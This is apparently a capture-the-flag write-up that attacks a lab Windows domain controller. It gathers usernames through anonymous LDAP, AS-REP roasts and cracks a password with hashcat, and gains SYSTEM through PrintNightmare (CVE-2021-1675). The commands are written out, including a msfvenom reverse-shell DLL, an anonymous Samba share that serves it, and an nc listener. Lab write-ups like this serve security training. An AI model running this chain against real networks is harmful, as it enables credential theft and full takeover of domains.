As always we start with a port scan:

└──╼ $ nmap -sC -sV -oA nmap/standard-tcp -vvv -Pn

53/tcp   open  domain        syn-ack Simple DNS Plus 
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2021-07-26 22:00:10Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Based on the output from nmap we can safely assume we're dealing with a domain controller.

I first decided to see if we could connect to the SMB share without credentials:

└──╼ $ smbclient -L
Enter WORKGROUP\s1gh's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available

Even though we managed to connect, we can't list any shares. So for now, this is a no-go.

Trying the same thing with LDAP to see if we can connect without credentials:

└──╼ $ldapsearch -x -h -D '' -w '' -b "DC=megacorp,DC=local"                                   
# extended LDIF
# LDAPv3
# base <DC=megacorp,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL

objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=MEGACORP,DC=LOCAL

We successfully connect to LDAP and can dump data. I now decided to dump every username by just grepping for sAMAccountName and writing them to a domain_users.txt file.

└──╼ $ ldapsearch -x -h -D '' -w '' -b "DC=megacorp,DC=local" | grep sAMAccountName | awk {'print $2'} > domain_users.txt

Initial Foothold

At this point I had a list of usernames, but no passwords. So I decided to see if any of the users in this domain was AS-REP roastable.

└──╼ $ impacket-GetNPUsers megacorp.local/ -no-pass -usersfile domain_users.txt -dc-ip
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation                          
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User WLee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User KJenkins doesn't have UF_DONT_REQUIRE_PREAUTH set

One user is roastable: vparsons.

We now simply take this hash over to hashcat and try to crack it using the rockyou.txt wordlist.

PS C:\Users\s1gh\Documents\hashcat-6.2.0> ./hashcat.exe -m 18200 .\hashes.txt .\rockyou.txt
hashcat (v6.2.0) starting...

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384


Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$vparsons@MEGACORP.LOCAL:78bc41053c371...35b85d
Time.Started.....: Mon Jul 26 20:15:33 2021 (0 secs)
Time.Estimated...: Mon Jul 26 20:15:33 2021 (0 secs)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  7565.3 kH/s (6.80ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4128768/14344384 (28.78%)
Rejected.........: 0/4128768 (0.00%)
Restore.Point....: 3670016/14344384 (25.59%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: sn7792118 -> ruddrooney
Hardware.Mon.#1..: Temp: 65c Fan: 32% Util: 18% Core:1480MHz Mem:5508MHz Bus:8

The password cracked and we finally have a valid set of credentials! (vparsons:serverstatus03)

We can also verify that the credentials are valid by using CrackMapExec:

└──╼ $ cme smb -u vparsons -p serverstatus03
SMB      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:False)
SMB      445    DC01             [+] MEGACORP.LOCAL\vparsons:serverstatus03

User and Root

Lately it seems like a new Windows vulnerability has been popping up like every week - what is even happening?
I decided to check if the domain controller is vulnerable to PrintNightmare.

└──╼ $ rpcdump.py | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol

Generate the DLL

I didn't do anything fancy for the DLL creation part. I just used msfvenom.

└──╼ $ msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f dll -o gimmeshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Saved as: gimmeshell.dll

Hosting the DLL

The easiest way is to use smbd. I tried using impacket-smbserver but I never managed to get it working.

I used this implementation of the exploit: https://github.com/cube0x0/CVE-2021-1675

Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access

    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Getting SYSTEM

We setup a listener and trigger the exploit.

└──╼ $ python3 CVE-2021-1675.py vparsons:serverstatus03@ '\\\smb\gimmeshell.dll'
[*] Connecting to ncacn_np:[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\\smb\gimmeshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...

On on our listener:

└──╼ $ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 55919
Microsoft Windows [Version 10.0.17763.2028]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\system

We can now get both flags!

Based on the name of the user flag, I guess the intended way was to use DPAPI to get new credentials and get the flag that way?

User flag: HTB{dp@pi_r0ast1ng}
Root flag: HTB{pls_turn_0ff_th3_pr1nt3r}